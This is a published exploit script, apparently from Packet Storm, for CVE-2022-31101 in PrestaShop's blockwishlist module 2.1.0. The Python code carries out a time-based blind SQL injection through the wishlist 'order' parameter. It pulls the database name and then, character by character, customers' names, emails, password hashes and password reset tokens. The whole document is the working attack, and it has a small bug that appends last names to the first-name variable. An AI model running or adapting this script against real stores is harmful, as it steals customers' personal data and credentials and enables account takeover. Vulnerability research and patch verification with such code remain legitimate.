Share
## https://sploitus.com/exploit?id=PACKETSTORM:168003
# Exploit Title: Prestashop blockwishlist module 2.1.0 - SQLi  
# Date: 29/07/22  
# Exploit Author: Karthik UJ (@5up3r541y4n)  
# Vendor Homepage: https://www.prestashop.com/en  
# Software Link (blockwishlist): https://github.com/PrestaShop/blockwishlist/releases/tag/v2.1.0  
# Software Link (prestashop): https://hub.docker.com/r/prestashop/prestashop/  
# Version (blockwishlist): 2.1.0  
# Version (prestashop): 1.7.8.1  
# Tested on: Linux  
# CVE: CVE-2022-31101  
  
  
# This exploit assumes that the website uses 'ps_' as prefix for the table names since it is the default prefix given by PrestaShop  
  
import requests  
  
url = input("Enter the url of wishlist's endpoint (http://website.com/module/blockwishlist/view?id_wishlist=1): ") # Example: http://website.com/module/blockwishlist/view?id_wishlist=1  
cookie = input("Enter cookie value:\n")  
  
header = {  
"Cookie": cookie  
}  
  
# Define static stuff  
param = "&order="  
staticStart = "p.name, (select case when ("  
staticEnd = ") then (SELECT SLEEP(7)) else 1 end); -- .asc"  
charset = 'abcdefghijklmnopqrstuvwxyz1234567890_-@!#$%&\'*+/=?^`{|}~'  
charset = list(charset)  
emailCharset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_-@!#$%&\'*+/=?^`{|}~.'  
emailCharset = list(emailCharset)  
  
  
# Query current database name length  
print("\nFinding db name's length:")  
for length in range(1, 65):  
condition = "LENGTH(database())=" + str(length)  
fullUrl = url + param + staticStart + condition + staticEnd  
  
try:  
req = requests.get(fullUrl, headers=header, timeout=8)  
except requests.exceptions.Timeout:  
dbLength=length  
print("Length: ", length, end='')  
print("\n")  
break  
  
print("Enumerating current database name:")  
databaseName = ''  
for i in range(1, dbLength+1):  
for char in charset:  
condition = "(SUBSTRING(database()," + str(i) + ",1)='" + char + "')"  
fullUrl = url + param + staticStart + condition + staticEnd  
  
try:  
req = requests.get(fullUrl, headers=header, timeout=8)  
except requests.exceptions.Timeout:  
print(char, end='')  
databaseName += char  
break  
print()  
  
# Enumerate any table  
prefix = "ps_"  
tableName = prefix + "customer"  
staticStart = "p.name, (select case when ("  
staticEnd1 = ") then (SELECT SLEEP(7)) else 1 end from " + tableName + " where id_customer="  
staticEnd2 = "); -- .asc"  
  
print("\nEnumerating " + tableName + " table")  
  
for id in range(1, 10):  
  
condition = "id_customer=" + str(id)  
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2  
  
try:  
req = requests.get(fullUrl, headers=header, timeout=8)  
print("\nOnly " + str(id - 1) + " records found. Exiting...")  
break  
except requests.exceptions.Timeout:  
pass  
  
print("\nid = " + str(id))  
  
# Finding firstname length  
for length in range(0, 100):  
condition = "LENGTH(firstname)=" + str(length)  
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2  
  
try:  
req = requests.get(fullUrl, headers=header, timeout=8)  
except requests.exceptions.Timeout:  
firstnameLength=length  
print("Firstname length: ", length, end='')  
print()  
break  
  
  
# Enumerate firstname  
firstname = ''  
print("Firstname: ", end='')  
for i in range(1, length+1):  
for char in charset:  
condition = "SUBSTRING(firstname," + str(i) + ",1)='" + char + "'"  
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2  
  
try:  
req = requests.get(fullUrl, headers=header, timeout=8)  
except requests.exceptions.Timeout:  
print(char, end='')  
firstname += char  
break  
print()  
  
# Finding lastname length  
for length in range(1, 100):  
condition = "LENGTH(lastname)=" + str(length)  
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2  
  
try:  
req = requests.get(fullUrl, headers=header, timeout=8)  
except requests.exceptions.Timeout:  
lastnameLength=length  
print("Lastname length: ", length, end='')  
print()  
break  
  
# Enumerate lastname  
lastname = ''  
print("Lastname: ", end='')  
for i in range(1, length+1):  
for char in charset:  
condition = "SUBSTRING(lastname," + str(i) + ",1)='" + char + "'"  
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2  
  
try:  
req = requests.get(fullUrl, headers=header, timeout=8)  
except requests.exceptions.Timeout:  
print(char, end='')  
firstname += char  
break  
print()  
  
# Finding email length  
for length in range(1, 320):  
condition = "LENGTH(email)=" + str(length)  
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2  
  
try:  
req = requests.get(fullUrl, headers=header, timeout=8)  
except requests.exceptions.Timeout:  
emailLength=length  
print("Email length: ", length, end='')  
print()  
break   
  
# Enumerate email  
email = ''  
print("Email: ", end='')  
for i in range(1, length+1):  
for char in emailCharset:  
condition = "SUBSTRING(email," + str(i) + ",1)= BINARY '" + char + "'"  
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2  
  
try:  
req = requests.get(fullUrl, headers=header, timeout=8)  
if req.status_code == 500 and char == '.':  
print(char, end='')  
email += char  
except requests.exceptions.Timeout:  
print(char, end='')  
email += char  
break  
print()  
  
# Finding password hash length  
for length in range(1, 500):  
condition = "LENGTH(passwd)=" + str(length)  
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2  
  
try:  
req = requests.get(fullUrl, headers=header, timeout=8)  
except requests.exceptions.Timeout:  
passwordHashLength=length  
print("Password hash length: ", length, end='')  
print()  
break   
  
# Enumerate password hash  
passwordHash = ''  
print("Password hash: ", end='')  
for i in range(1, length+1):  
for char in emailCharset:  
condition = "SUBSTRING(passwd," + str(i) + ",1)= BINARY '" + char + "'"  
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2  
  
try:  
req = requests.get(fullUrl, headers=header, timeout=8)  
if req.status_code == 500 and char == '.':  
print(char, end='')  
passwordHash += char  
except requests.exceptions.Timeout:  
print(char, end='')  
passwordHash += char  
break  
print()  
  
# Finding password reset token length  
for length in range(0, 500):  
condition = "LENGTH(reset_password_token)=" + str(length)  
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2  
  
try:  
req = requests.get(fullUrl, headers=header, timeout=8)  
except requests.exceptions.Timeout:  
passwordResetTokenLength=length  
print("Password reset token length: ", length, end='')  
print()  
break   
  
# Enumerate password reset token  
passwordResetToken = ''  
print("Password reset token: ", end='')  
for i in range(1, length+1):  
for char in emailCharset:  
condition = "SUBSTRING(reset_password_token," + str(i) + ",1)= BINARY '" + char + "'"  
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2  
  
try:  
req = requests.get(fullUrl, headers=header, timeout=8)  
if req.status_code == 500 and char == '.':  
print(char, end='')  
passwordResetToken += char  
except requests.exceptions.Timeout:  
print(char, end='')  
passwordResetToken += char  
break  
print()